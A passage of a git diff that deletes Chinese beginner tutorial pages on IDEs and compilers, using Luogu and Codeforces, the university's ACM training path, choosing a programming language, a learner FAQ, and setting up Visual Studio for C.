文件(经过编译器编译这时的代码计算机已经可以识别),而最后的.exe 则是通过连接生成的(这里的工作是由连接器完成的,跟编译器无关)。 - -语言的编译器有很多种,不同的平台下有不同的编译器,例如: - -- Windows 下常用的是微软开发的 cl.exe,它被集成在 Visual Studio 或 Visual C++ 中,一般不单独使用; -- Linux 下常用的是 GUN 组织开发的 GCC,很多 Linux 发行版都自带 GCC; -- Mac 下常用的是 LLVM/Clang,它被集成在 Xcode 中(Xcode 以前集成的是 GCC,后来由于 GCC 的不配合才改为 LLVM/Clang,LLVM/Clang 的性能比 GCC 更加强大)。 - -你的代码语法正确与否,编译器说了才算,我们学习 C 语言,从某种意义上说就是学习如何使用编译器,让编译器生成可执行程序(例如 Windows 下的 .exe 程序)。 - -编译器可以 100% 保证你的代码从语法上讲是正确的,因为哪怕有一点小小的错误,编译也不能通过,编译器会告诉你哪里错了,便于你的更改。 - -### 什么是集成开发环境 - -实际开发中,除了编译器是必须的工具,我们往往还需要很多其他辅助软件,例如: - -- 编辑器:用来编写代码,并且给代码着色,以方便阅读; -- 代码提示器:输入部分代码,即可提示全部代码,加速代码的编写过程; -- 调试器:观察程序的每一个运行步骤,发现程序的逻辑错误; -- 项目管理工具:对程序涉及到的所有资源进行管理,包括源文件、图片、视频、第三方库等; -- 漂亮的界面:各种按钮、面板、菜单、窗口等控件整齐排布,操作更方便。 - -这些工具通常被打包在一起,统一发布和安装,例如 Visual Studio、Dev C++、Xcode、Visual C++ 6.0、C-Free、Code::Blocks、JetBrains Clion 等,它们统称为集成开发环境(IDE,Integrated Development Environment)。 - -集成开发环境就是一系列开发工具的组合套装。这就好比台式机,一个台式机的核心部件是主机,有了主机就能独立工作了,但是我们在购买台式机时,往往还要附带上显示器、键盘、鼠标、U 盘、摄像头等外围设备,因为只有主机太不方便了,必须有外设才能玩的爽。 - -集成开发环境也是这个道理,只有编译器不方便,所以还要增加其他的辅助工具。 - -## 我的推荐 - -作为个人使用比较顺手的几款 IDE - -Java: [JetBrains IntelliJ IDEA](https://www.jetbrains.com/zh-cn/idea/) - -C: [Visual Studio(宇宙第一 IDE)](https://visualstudio.microsoft.com/zh-hans/vs/), [JetBrains Clion](https://www.jetbrains.com/zh-cn/clion/),Visual Studio Code(编辑器 IDE 化需要额外配置) - -Python: [JetBrains Pycharm](https://www.jetbrains.com/zh-cn/pycharm/) - -Vim 在附加篇章里有额外介绍 - -[JetBrains 白嫖指南](https://www.cnblogs.com/Coline1/p/15229244.html) - -当然,适合你的才是最好的 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ(Online Judge).md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ(Online Judge).md deleted file mode 100644 index c254565..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ(Online Judge).md +++ /dev/null @@ -1,164 +0,0 @@ -# 3.2.2 手把手教你学算法——如何使用 OJ(Online Judge) - -在之前的篇章中,我们向新手 acmer 推荐了两个编程网站——Luogu 与 Codeforces,下面由笔者向各位介绍一下网站的详细用法。 - -## Luogu - -进入 [https://www.luogu.com.cn/](https://www.luogu.com.cn/) - -![](https://cdn.xyxsw.site/wenjing1.png) - -### 社交模块 - -做为一个刷题网站,Luogu 提供了符合中文用户习惯的社交模块。体现于左侧边栏的讨论及主页的最近讨论,以及底部的“发射犇犇”系统。但是我并不建议 Acmer 使用该功能,因为 Luogu 主要面向初高中生甚至小学生等参加 NOIP 系列竞赛的用户,讨论不可避免存在一些低龄化现象。对于社交模块的使用,我推荐当且仅当一种做不出题的求助手段,这点放在之后题目模块讲解。 - -### 题目模块 - -点开题库,我们看见以下界面 - -![](https://cdn.xyxsw.site/wenjing2.png) - -在上方我们可以筛选我们想要的题目,接下来我们点开 P1000 为例 - -![](https://cdn.xyxsw.site/wenjing3.png) - -右侧三个模块为折叠状态,下面介绍他们的作用 - -① 标签:假如你已经对算法有了基本的了解,面对一道题毫无思路,那么你可以试试看正解所使用的算法,寻找思路的突破口 - -② 讨论:假如你的代码因未知原因一直出错,你可以试试讨论(越难的题有效信息越多)看看自己是否犯下别人犯过的错误或者可以发帖求助(关于如何正确发帖求助,请参考《提问的艺术》) - -③ 推荐题目:没做爽?再来一道类似的(请勿沉迷刷水题,过题量除了炫耀毫无意义) - -右上方点击查看题解,查看其他用户撰写的参考答案和讲解。 - -点击提交答案 - -![](https://cdn.xyxsw.site/wenjing4.png) - -左侧可以选择语言类型,C++ 用户建议选择 C++14。 - -O2 优化是一种优化(废话)假如您的代码复杂度正确但 TLE,可以尝试该选项。 - -### 记录模块 - -怎么知道自己代码的问题出在哪里呢?记录模块是帮助你的好工具。 - -![](https://cdn.xyxsw.site/wenjing5.png) - -AC:通过该数据点 - -WA:答案错误 常见原因:没开 Long Long 导致数据溢出、少取模、格式错误、忘记删除调试代码 - -RE:运行错误 常见原因:数组访问越界、访问空指针、除零模零、主函数返回非 0,评测机炸了(极小概率) - -UKE:未知错误 常见于 Remote Judge,建议重交或者去原网站交 - -TLE:运行超时 请检查算法复杂度与是否存在死循环,也可尝试使用 O2 优化。搜索“卡常数”了解更多缩短运行时间小寄巧 - -MLE:空间超限 请检查是否递归爆栈、数组过大 - -OLE:输出超限 放心你见不到的 - -### 题单模块 - -点开侧栏题单 - -![](https://cdn.xyxsw.site/wenjing6.png) - -建议新手从官方精选题单开始,由浅入深,由简到难。等到对算法形成概念,针对漏洞补习时可以尝试用户分享题单(到那个阶段已经有很多手段去找题了,刘教练的题单就够你做了) - -### 比赛模块 - -点开侧栏就能看见准备举办和已结束的比赛。笔者不建议大家在 Luogu 打比赛,首先赛制不一样,其次出题风格不一样,最后对于初学者 Luogu 比赛的难度曲线过大。 - -## Codeforces - -进入 [https://codeforces.com/?locale=en](https://codeforces.com/?locale=en) - -![](https://cdn.xyxsw.site/wenjing7.png) - -比起 Luogu,这样的 UI 设计离 CN 互联网已经很远了(然而比起更硬核的一些做题网站,CF 的 UI 真是越看越顺眼) - -右上角注册登录切语言(哇塞,可以选俄语,你说的对,但是 CF 是一款由俄罗斯开发的多人在线竞技游戏) - -### HOME 模块 - -主页显示各种数据,主要为近期比赛的一些公告。 - -### TOP 模块 - -热帖,如果擅长英语的话,CF 的交流氛围还是不错的,做为一个答疑解惑的论坛肯定比国内强。 - -### CATALOG 模块 - -文档目录,你可以在这学习算法竞赛入门,体系化学习算法,只要你会英语 - -### CONTESTS - -重中之重!CF 的比赛系统可以说是我们选择这个网站的最大原因! - -进入比赛页面 - -![](https://cdn.xyxsw.site/wenjing8.png) - -上方为将举办比赛,显示开始时间(UTC+8 也就是我们时区的时间)和持续时间大多都开始的比较晚,例如笔者就没有这么晚学习的习惯,所以一般赛后写题。比赛分为以下几种类型(例如写在括号里的 Div.2) - -Div.1、Div.2、Div.3、Div.4 数字越小难度越大。 - -建议新手从 Div.2 及以下的难度打起,在比赛时间内写的题目很少也不要气馁,CF 出题审题质量稳定,写到就是赚到,赛后补题就行 - -对于已经结束的比赛,我们可以直接点击“Enter”进入比赛看题补题,也可以点击“Virtual partipation”简称“VP”,重现赛时场景,例如显示赛时排行榜,即时过题人数等,在比赛完成后你也可以看见如果你以该状态参赛,你会获得怎样的排名。 - -下面以一场 Div.2 比赛为例,展示我们该如何打一场 CF。 - -### VP - -![](https://cdn.xyxsw.site/wenjing9.png) - -这是一场笔者之前赛后补过的 Div.2,画面右下角分别为赛后公告和题解,右侧便是开启 VP 的按钮。 -![](https://cdn.xyxsw.site/wenjing10.png) - -*VP 模拟赛时的好处就是在虚拟参赛中获得真实比赛才能积累的经验,比如这里笔者发现通过前三题后,我应该先去看看 F 题,因为做出来的人更多,我有更大的可能性做出来,ACM 中题目并不是 100% 按难度排序。* - -![](https://cdn.xyxsw.site/wenjing11.png) - -进入 VP 后,我们可以发现比起正常赛后补题有了明显不同。 - -首先我们可以看见赛时某道题的通过人数,随比赛时间流逝 100% 仿真变化。而且也可以与当时的“虚拟选手”同步竞争,例如笔者这里就复制之前写过的代码荣登榜三(乐) - -对于大多数比赛,采用 ICPC 赛制,解决某题得到的分数由该题当前的分数减去 (不成功的提交次数)*50,这里某道题的分数是由比赛开始时的分数随时间线性减少得到的。 - -也就是做题越快,错误次数越少,分数和排名就越高,这点大体是与 ACM 赛制相同的。 - -当然,CF 还有极具特色的 Hack 玩法,这些深入内容留给有上分兴趣的读者研究。 - -让我们点开 A 题,来看看如何提交答案 - -![](https://cdn.xyxsw.site/wenjing12.png) - -可以看见,右侧有一个 submit,与 luogu 不同的是,你需要上传源代码文件(如 cpp)然后选择 G++17 为语言,提交。 - -当然,你也可以点开上侧的 submit code - -![](https://cdn.xyxsw.site/wenjing13.png) - -选择题目、语言,填写代码后提交,就和 Luogu 的方式一样了。 - -同样,在上侧 MY SUBMISSIONS 处可以查看已提交的代码和状态 - -![](https://cdn.xyxsw.site/wenjing14.png) - -### PROBLEMSET - -同样,CF 也有题库 - -![](https://cdn.xyxsw.site/wenjing15.png) - -如果你只想做某道题而不是某场比赛,这里也许更适合你。 - -不过 CF 的题库比较鸡肋,标签筛选也不是很方便(大概是把想要的标签在右上角分隔好) - -## 总结 - -笔者向读者详细介绍了两个 OJ,至于如何让 OJ 更好的辅助你的 ACM 学习,我应该在什么时间节点或训练阶段,出于什么训练目的选择哪个网站,笔者留到下一个篇章继续介绍。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟.md deleted file mode 100644 index b3079fa..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟.md +++ /dev/null @@ -1,79 +0,0 @@ -# 3.2.3 ACM 竞赛从入门到入坟 - -> 作者:[选择公理](https://github.com/axiomofchoice-hjt) -> -> 利益相关:2021 杭电六队,2022 杭电一队成员 - -相信大家从前面的文章中已经了解 ACM 的基本情况,这里就不赘述了。 - -首先需要强调的是,选择 ACM 这条路非常辛苦,每天要花大量时间刷题;同时,ACM 也是残酷的,唯有实力才能保证你不被集训队淘汰。 - -这里就不得不提一下参加 ACM 竞赛的一般流程了: - -1. 大一上:参加集训队选拔,进入集训队(错过选拔的要用 [Codeforces](https://codeforces.com/) 分数来向老刘申请)。 -2. 大一下:主要是个人训练,经历多轮淘汰,期末会组队(三人一队)。 -3. 大一暑假:以组队形式参加多校等训练,这些训练将决定你在大二这个赛季能参加几次比赛。 -4. 大二:训练或比赛。没比赛资格没关系,你可以沉淀,大三还有机会。 -5. 大三同上,但是也有选择退出的。 - -## 第一阶段 - -打 ACM 要趁早。从上面流程图可以看出来,大一入学就应该决定好了,然后是学习,再然后参加选拔(冷知识:集训队不是想进就能进的)。 - -### 群 - -首先是加群。每一届老刘都会弄个杭电 ACM 新生群,没有门槛的。想要加这个群,可以问一问杭电的其他群 / 学长学姐。 - -群里主要关注两件事,一个是 ACM 公选课,一个是选拔。然后有问题也可以丢群里。 - -### 公选课 - -老刘每学期都有公选课,大一上的时候可以去旁听。公选课的内容和选拔是相关的,课讲了哪些,选拔就考哪些。所以,跟上课程进度是很有必要的。 - -### 要学什么 - -编程语言(C/C++)是算法的前提,而公选课是不会教你语言的,得自学。零基础的同学要注意了,千万不要跟着 C 语言的课来学,太慢了。尽量在一个礼拜内学完 C 的基础内容(指针可以跳过),然后跟上公选课。C++ 可以晚点再学。 - -说明一下,语言其实包含很多语法,但是 ACM 用得到的只是其中的一个子集。像 C 的指针,C++ 的模板,都是很难但是鸡肋的知识点。如果你要做工程,那这些语法都得学。 - -学会语言后,可以找一个算法书(算法竞赛入门经典(刘汝佳),算法赛进阶指南(李煜东)等等)系统学习各种算法。 - -提醒一下,这里讲到的所有东西都要上机实践,ACM 非常注重实践。你在开始学语言的时候就要多上机。 - -### 选拔 - -在大一上 10 月开始,每个月至少 1 场选拔赛(上机编程的模式),每场比赛都会根据参选人员的实际表现确定若干数量的同学入围集训队。 - -除了选拔,还有一种进队方法那就是 [Codeforces](https://codeforces.com/)。Codeforces 每个账号都会有一个分数(rating),打 Codeforces 比赛打得好就上分,反之就掉分。只要大一上你的 rating 连续三次达到 1400(具体以老刘为准),就可以向老刘申请入队。事实上,这种方法甚至到了大二都是可以的(大二你的 rating 可能要 1900),不过几乎没有人这么做,所以还是要趁早。 - -大一上会选拔 50-60 人,大一下会保留 20 人左右。(仅供参考) - -## 第二阶段 - -恭喜你,你已经学完了基础算法,可以进入以刷题为主的学习模式了。 - -刷题平台(OJ)有很多,如果没有特别适合你的,那就去刷 [Codeforces](https://codeforces.com/)。因为这个平台比赛多,老刘认可。建议 Codeforces 的每场比赛都参加(如果时间不好可以第二天补上)。 - -说到时间,Codeforces 比赛最常见的时间是 22:35 到 00:35(Codeforces 是俄罗斯的,有时差,所以时间有点阴间)。ACMer 其实很多都是熬夜党。 - -打完比赛,建议钻研一下自己没做出的前一两题,写个题解。为什么要写题解呢,一个是方便以后来回顾,一个是加深印象,一个是把自己的思维用文字表达出来,这样能发现思维的漏洞(比如证明不严谨之类的)。题解写出来发不发博客就看个人喜好吧。作者以前也是坚持写博客写了很久。 - -![](https://cdn.xyxsw.site/Axiomofchoice_1.png) - -为什么要打 Codeforces 比赛呢?主要原因是打比赛有计时,有压力(怕掉分的压力),能让人提升更快。不要因为怕掉分就不参加了,你要相信只要你一直打比赛,你的 rating 曲线一定是波动上升的。 - -另外建议大家整理一个自己的模板(算法套路),这里推荐几个资料供参考:[OI Wiki](https://oi-wiki.org),[Kuangbin 模板](https://kuangbin.github.io/2018/08/01/ACM-template/)。想要验证模板可以去 [luogu](https://www.luogu.com.cn/),luogu 收录了很多模板题。 - -## 第三阶段 - -恭喜你,你应该已经度过淘汰阶段,到了组队环节了,祝愿你组队能抱到大腿。 - -有了队伍,可以考虑一下分工问题,包括读题、键盘手、各种算法类型等分工。这里建议对于任何一类问题(比如数据结构),队伍里要有至少两个人擅长,因为两个人讨论解决问题比一个人要快很多很多。而在比赛中期,最好的策略也是双开,即两个人研究一题,剩下一个研究另一题(不过这只是经验之谈了)。 - -如果你在激烈的竞争中获得参赛资格,那么你基本可以认为你有至少银牌的实力了。(~~拿了铜牌及以下老刘会生气的~~) - -## 退役的姿势 - -打 ACM 很多是为了方便找工作的,但是作者这届找工作太难了😭,光凭借 ACM 奖牌是远远不够的,要拥有好多其他能力。 - -不管你 ACM 是否取得了成绩,建议退役后要好好做规划,多了解行情,选择好的方向进行研究。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈.md deleted file mode 100644 index bc9d23e..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈.md +++ /dev/null @@ -1,37 +0,0 @@ -# 3.2 算法杂谈 - -## 学计算机要先学算法吗? - -也许有的同学在高中阶段接触过信息学奥赛,那么也许你已经对基础的算法知识已经有了一定的了解。 - -那么对于没有接触过算法的同学来说呢?也许你们听过 Niklaus Emil Wirth 的一句话:“程序=算法 + 数据结构。”可能有的同学这个时候就要说了:“你看算法多重要,你没有算法就没有程序!”但这句话中的算法并不是你们所理解的狭义的“算法”。 - -广义上来说,“算法”可以被理解为是一组解决特定问题的有序步骤,它在描述一个“流程”,诸如做菜的流程、排课表都可以被认为是一种算法。利用计算机逻辑解决问题才是算法的核心。 - -学习算法的基础是拥有最基本的计算机素养,你需要优先学习一些基本的计算机概念、编程语言、简单的数据结构(数组、链表等),这些基本知识是你能够灵活利用算法的基础。 - -## 学了算法就相当于学好了计算机吗? - -学好了算法当然不等于学好了计算机科学。计算机科学是一个非常庞大的知识体系,包括更为底层的计算机组成原理、编译原理等,更为表层的 AI,开发等,是一门综合性学科。总的来说,算法是计算机科学中较为重要的一部分,但**远远**不是全部。 - -## 学算法就要用《算法导论》一类的书吗? - -我的答案是否定的。它更适合作为“工具书”(就像你英语的词典那样),而不是一本适合新生入门学习的书。可以使用《我的第一本算法书》一类的更为基础更为有趣的算法内容。相比于完全严谨的逻辑推导,初学者的诉求是在"看得见,摸得着的例子和环境下探索和吸收新概念". 像这样的大部头可以在之后进行阅读。 - -## 学算法一定要用 C 语言吗?不用 C 语言可以吗? - -不一定要用 C 语言。但是 C 语言作为一种贴近底层面向过程语言,对日后学习其他的语言会有较大的帮助。你也可以先学习 Python、JAVA 等等。学校的课程仅仅是教授一些比较基础的知识,如果想要真正掌握一门语言,需要在学校课程的基础上更进一大大大步。 - -## ACM 怎么说? - -前情提要,请尽量不要以功利的心态去参加 ACM,你想要的与你能得到的可能存在过大落差 - -ACM 是美国计算机协会(Association for Computing Machinery)的缩写,原先是 ICPC(国际大学生程序设计竞赛)的赞助商(2018 年后不再赞助),在国内与 ICPC 齐名的比赛还有 CCPC(中国大学生程序设计竞赛)。 - -但常说的“ACM”一般泛指一切采用 ACM 赛制(给定一定数量的题目,采用罚时制,通过相同题目数量的选手依据罚时决定排名)的程序设计竞赛。 - -在我校,参加 ACM 社团(姑且叫做社团)并不代表能够参加有含金量的团体赛(ICPC、CCPC 等)。你需要先参加由我校教练刘春英老师组织的各种比赛,有资格进入集训队后,才有机会代表学校参加比赛(当然不限名额的个人赛想参加就参加)。 - -进入集训队后采取末位淘汰制度(最后留下来的人在 20 人左右),最后留下来的人才有机会参加比赛。**因此个人并不推荐 0 基础的同学对于 ACM 过于执着**,有 0 基础的同学最后进入校队的例子,不过这通常意味着你一天至少得刷一道算法题。如果还是想尝试的同学,可以去洛谷 ([www.luogu.com.cn](http://www.luogu.com.cn))、Codeforces([www.codeforces.com](http://www.codeforces.com))、Atcoder([atcoder.jp](https://atcoder.jp/)) 等平台上注册账号,练习题目,参加这些网站定期组织的一些比赛。 - -如果经过一段时间的练习能够在 Codefoces([www.codeforces.com](http://www.codeforces.com))上达到 1400 以上的 Rating,那么可以再观望观望参与 ACM。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言.md deleted file mode 100644 index a8f949d..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言.md +++ /dev/null @@ -1,61 +0,0 @@ -# 3.3 如何选择编程语言 - -## 编程语言的工具属性 - -在回答这个问题之前,需要各位同学明确的一点是,编程并不是一个独立的学科,像数学那样做题是学不好的。 - -编程语言的选择更像是锤子与扳手之间的选择,更大程度上看的是你需要解决什么样的问题。当你需要砸钉子的时候,使用螺丝刀总归是不顺手的,因此了解不同语言的特性,针对任务进行选择是非常有必要的。 - -## 编程语言特性 - -首先附上一张经典老图 - -![](https://cdn.xyxsw.site/boxcnW0YQY58RXhwdtRj5k6ndlc.jpeg) - -### C 语言/C++ - -C 语言/C 艹一脉同源,从图中来看,C 和 C 艹都像多功能瑞士军刀,说明其是用来做细活的工具,C 上面的优盘说明其可以进行硬件开发的相关工作。 - -不少同学对可能会感到困惑,为什么要从 C 语言学起(因为学校菜教不了别的) - -C 语言其实是一门优秀的承上启下的语言,既具有高级语言的特点,编写不依赖特定的计算机硬件应用程序,应用广泛,又具有底层汇编的特点,其指针可以让此语言操纵更为底层的内存空间。 - -但是其功能毕竟受限,有时候用起来会苦恼其操作受限以及各种奇奇怪怪的 bug 问题。 - -**如果为了增强自身的编程能力和计算机素养,培养解决问题的能力,C 语言的你的不二选择。在这里强烈推荐 jyy 老师的各类课程。([http://jyywiki.cn/](http://jyywiki.cn/))** - -**我们的任务一部分会使用 C 语言,一方面培养大家编程能力,一方面辅助大家期末考试。** - -### C++ - -现代 C++ 程序可看成以下三部分组成。 - -- 更接近底层的语言,大多继承于 C -- 更高级的语言特征,可自定义数据类型 -- 标准库 - -**C++ 既有 C 面向过程的特点,又拥有面向对象的特性,是一门系统级的语言。** - -编译器、操作系统的开发,高性能服务器的开发,游戏引擎的开发,硬件编程,深度学习框架的开发......只要是和底层系统或者是与性能相关的事情,通常都会有 C++ 的一席之地。 - -## Python - -Python 在图里是电锯,适合干比较“狂野”的任务,也是深度学习的主要编程语言。其在数据处理方面具有诸多出色成熟的库,编程语言也较为简单。 - -但是过度的包装可能造成出现意想不到的错误,出现的结果看不懂等等。 - -使用缩进控制语句是此语言的特点。 - -**作为深度学习的主要使用语言,我们将以****P****ython 为主。** - -## JAVA - -一门面向对象编程语言,不仅吸收了 C++ 语言的各种优点,还摒弃了 C++ 里难以理解的多继承,指针等概念,因此 java 语言具有功能强大和简单易用两个特征。 - -他太老了,虽然不少框架都依托于 Java,但是不得不说,一些地方略有落后。 - -**频繁应用于****W****eb 开发,安卓应用等等。** - -![](https://cdn.xyxsw.site/boxcnPv2FcyQxGLjYHThSaJNwRf.jpeg) - -当然还有各种形形色色的编程语言等着同学们去探索。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ:常见问题.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ:常见问题.md deleted file mode 100644 index 2b42708..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ:常见问题.md +++ /dev/null @@ -1,72 +0,0 @@ -# FAQ:常见问题 - -## 我完全没基础觉得好难呜呜 - -教育除了知识的记忆之外,更本质的是能力的训练,即所谓的 training. 而但凡 training 就必须克服一定的难度,否则你就是在做重复劳动,能力也不会有改变。如果遇到难度就选择退缩,或者让别人来替你克服本该由你自己克服的难度,等于是自动放弃了获得 training 的机会 - -## 我觉得无从下手 - -尝试借鉴他人的代码也未尝不可,但是要保证每一行都看懂哦 - -![](https://cdn.xyxsw.site/boxcnQ4rvJqVbXJaWMOwceHdrQb.png) - -## 我感觉讲义写的不够细 - -首先,我无法照顾到每一个人的情况,保证你每一个地方都看懂 - -其次,很多地方的坑是故意留给你让你尝试独立解决问题的。 - -## 我觉得我以后不会从事 C 相关的工作 - -这种"只要不影响我现在 survive, 就不要紧"的想法其实非常的利己和短视:你在专业上的技不如人,迟早有一天会找上来,会影响到你个人职业生涯的长远的发展 - -更严重的是,他可能会透支学校的信誉。 - -**同时,先学好 C 语言对你有以下帮助:** - -1. 掌握计算机底层知识:C 语言是一种高效的系统级语言,它的语法和数据结构设计直接映射到底层计算机硬件,通过学习 C 语言可以更深入地了解计算机底层运作原理,为理解更高级的编程语言和开发工具奠定基础。 -2. 提高编程能力:C 语言的语法相对较为简单,但是它要求程序员手动管理内存,这需要编程者深入了解内存结构和指针的使用。通过学习 C 语言,可以锻炼编程能力,提高代码质量和效率。 -3. 能够理解其他语言:C 语言是很多编程语言的基础,如 C++、Java、Python 等语言都从 C 语言继承了很多特性。因此,学好 C 语言可以帮助你更好地理解其他编程语言的设计思路和工作原理。 -4. 开发底层软件:由于 C 语言具有高效、灵活、可移植等特点,因此它被广泛用于开发操作系统、嵌入式系统、网络协议、游戏引擎等底层软件。学习好 C 语言可以为你将来从事底层软件开发提供必要的基础知识。 - -## 我感觉我写了也不会学到啥 - -复杂的问题总是存在简单的解释,C 语言虽然不擅长带 GUI 界面的编写,但是我们每日在用的都和他息息相关,那些庞大的系统也无非就是由这些简单的东西搭建而成的 - -## 我觉得我没有学懂 C 语言就开始别的合适吗 - -学习本章内容更大程度上是为了让你搞清楚编程世界运行的基本原理 - -其实各类编程语言本质上没有什么不同(并且 C 语言是一切语言的爹),你熟悉了一门别的语言都会变得非常容易 - -想要彻彻底底的摸清楚这门语言并达到实操只能靠常年累月的积累,如果各位真的有打算,欢迎尝试本篇教程的爹 - -NJU-ICS-PA 南京大学计算机系统基础 - -但是建议大家大二再进行尝试,非常难 - -## 我总觉得文章没写清楚 - -你毕业后进入公司/课题组,不会再有讲义具体地告诉你应该做什么,总有一天你需要在脱离讲义的情况下完成任务。我们希望你现在就放弃"讲义和框架代码会把我应该做的一切细节清楚地告诉我"的幻想,为自己的成长负起责任: - -- 不知道在说什么,说明你对知识点的理解还不够清楚,这时候你应该去看书/看手册 -- 不知道要做什么/怎么做,说明你的系统观好是零碎的,理解不了系统中各个模块之间的联系,这时候你应该 RTFSC, 尽自己最大努力梳理并理解系统中的一切细节 -- bug 调不出来,说明你不清楚程序正确的预期行为,你需要 RTFSC 理解程序应该如何运行; 此外也说明你不重视工具和方法的使用,你需要花时间去体验和总结它们 - -如果你发现自己有以上情况,你还是少抱怨,多吃苦吧。 - -当然,如果你发现有更好的想法欢迎联系我 - -## 这些对我太简单了 - -你可以从广度和深度两个角度对自己进行拔高 - -但是我的建议是涉猎更多的方向更多的领域帮助你建立系统的认知 - -有且仅有大学有这样好的资源帮助你了 - -## **坚持了好久还是搞不定,我想放弃了** - -![](https://cdn.xyxsw.site/boxcnuNXrb5zOppCZAlGQ19wuDk.jpg) - -也许是你坚持的姿势不对,来和 ZZM 聊聊吧 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言.md deleted file mode 100644 index 21ea037..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言.md +++ /dev/null @@ -1,195 +0,0 @@ -# 用什么写 C 语言 - -初学 C 语言,第一个问题莫过于用什么软件编写 C 语言程序。学校的老师可能会推荐包括但不限于 VC6.0,CodeBlocks,devC++,Visual Studio2013 等,如果你的电脑不是老年机,那么以上软件衷心建议你不要去使用,过于老旧了。 - -## Windows-Visual Studio - -[vs2022(Visual Studio 2022) 指南&&技巧要领](https://www.bilibili.com/video/BV1Xt411g7jT) - - - -Visual Studio(以下简称 VS)是 Windows 下最完美的 C/C++ 等语言的开发平台,有“宇宙第一 IDE”之称,功能丰富,开箱即用。目前更新到 2022 版。 - -什么是 IDE,什么是代码编辑器,什么是编译器等等细碎问题参考文档 [3.1 该使用哪个编辑器???](3.1%E8%AF%A5%E4%BD%BF%E7%94%A8%E5%93%AA%E4%B8%AA%E7%BC%96%E8%BE%91%E5%99%A8%EF%BC%9F%EF%BC%9F%EF%BC%9F.md) 看不懂的话直接无脑装 - -### **下载** - -[https://visualstudio.microsoft.com/zh-hans/downloads/](https://visualstudio.microsoft.com/zh-hans/downloads/) - -选择社区版 - -![](https://cdn.xyxsw.site/boxcnhNeAnlrbcdJciMUY9oNTuc.png) - -社区版和专业版等的区别:社区版免费,功能上几乎无差别 - -### VS 安装 - -选择 C++ 桌面开发,其他不用选,有需要了再说。另外,Python 开发不好使,不要像我一样选 Python 开发。 - -![](https://cdn.xyxsw.site/boxcnkjmKcCxIgRIzA5kyUZckye.png) - -安装完成后,一般来说 VS 不会自动创建桌面快捷方式,你需要到开始菜单中启动 VS。 - -请勿使用鼠标右键中的“在 VS 中打开”来打开 VS - -首次打开应该会让你选择开发环境和主题,建议开发环境选择 C++ ,主题根据个人喜好选择。 - -### 创建项目 - -VS 是项目制,你需要创建一个项目才能开始编写代码并运行。 - -打开 VS,会打开如下界面(我使用深色主题),在此处单击“创建新项目” - -![](https://cdn.xyxsw.site/boxcn6MgNnY2qBd1yAudeirx6Sh.png) - -在创建新项目页面中选择项目模板为控制台应用(空项目亦可,后续手动添加.c 源文件),并单击下一步 - -![](https://cdn.xyxsw.site/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png) - -为你的项目起一个名字,以及选择项目的位置,一般默认即可,如果你有强迫症,C 盘一定不能放个人数据,请自行修改。完成后单击“创建” - -![](https://cdn.xyxsw.site/boxcnkxd472wIT39DbEiBsyPWzf.png) - -自此就创建了一个项目了,你将会到达如下界面: - -![](https://cdn.xyxsw.site/boxcnvOGdjKLnvXvJM7nlE8yVcb.png) - -其中,左侧(如果在一开始没有选择 C++ 开发环境的话可能在右侧)为资源管理器,列出了本项目所用到的所有文件,包括代码(外部依赖项、源文件、头文件),以及将来开发图形化界面所需的资源文件;最中间占据面积最多的是代码编辑器窗口,你以后将会在这里编写你的 C 语言代码。最下面是输出窗口,源代码进行编译时,会在此处给出编译进度以及可能的代码中的错误。 - -请仔细阅读注释(绿色)中的各项内容,这很重要。 - -阅读完以后,就可以将代码全部删去,编写自己的代码了。 - -注意控制台项目初始源文件后缀为.cpp 为 C++ 文件,如果编写 C 语言**建议将后缀改为.c**。.cpp 存在隐患:如果不小心使用了 C++ 的语法而非 C 存在的语法,编译器并不会报错,且 C 与 C++ 在某些特性存在区别。 - -### “运行”你的 C 语言代码 - -C 语言是编译型语言,因此说“运行”代码其实并不是十分合适,不过我们初学,不用过分抠字眼,知道什么意思即可。 - -当你编写完自己的代码后,即可单击“本地 Windows 调试器”(或者使用快捷键 F5)进行“运行”。 - -![](https://cdn.xyxsw.site/boxcnhTxhUYMHeYHdrq0zWzLomb.png) - -你可能会发现在“本地 Windows 调试器”右侧还有一个绿色三角形,并且单击这个也可以“运行”,这两个的区别在于“本地 Windows 调试器”是调试运行,右侧那个是不调试直接运行。 - -### scanf 报错 - -如果你的代码被 VS 提示“This function or variable may be unsafe. Consider using scanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.” - -![](https://cdn.xyxsw.site/boxcnfrxYjk5CCjMfY0mLK1B1Ze.png) - -需要你在项目-xxx 属性(xxx 是你的项目名)-C/C++-代码生成 - 安全检查里将安全检查禁用 - -![](https://cdn.xyxsw.site/boxcniHhCIUQY0oB3ALlxqgciLd.png) - -### 调试 - -IDE 相比于代码编辑器,最强大的一点莫过于成熟的调试系统。通过调试,可以快速定位代码中没有被编译器检查出来的逻辑错误。如果需要调试,则可以在这个位置单击,打下断点,并且运行程序,程序运行时,就会在此处暂停下来,暂停时就可以查看各个变量的值了。 - 